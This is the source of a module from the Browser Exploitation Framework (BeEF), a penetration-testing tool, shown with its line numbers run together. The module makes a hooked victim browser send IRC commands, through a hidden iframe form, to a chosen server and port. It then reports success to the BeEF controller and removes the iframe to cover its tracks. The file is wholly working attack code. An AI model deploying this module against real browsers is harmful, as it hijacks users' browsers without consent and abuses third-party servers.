Path: blob/master/modules/ipec/inter_protocol_irc/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/**7* Inter protocol IRC module8* Developed by jgaliana9*10* It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild11* http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/12*/13beef.execute(function() {1415var rhost = '<%= @rhost %>';16var rport = '<%= @rport %>';17var nick = '<%= @nick %>';18var channel = '<%= @channel %>';19var message = '<%= @message %>';2021var irc_commands = "NICK " + nick + "\n";22irc_commands += "USER " + nick + " 8 * : " + nick + " user\n";23irc_commands += "JOIN " + channel + "\n";24irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";2526// send commands27var irc_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", irc_commands);28beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent");2930// clean up31cleanup = function() {32document.body.removeChild(irc_iframe_<%= @command_id %>);33}34setTimeout("cleanup()", 15000);3536});373839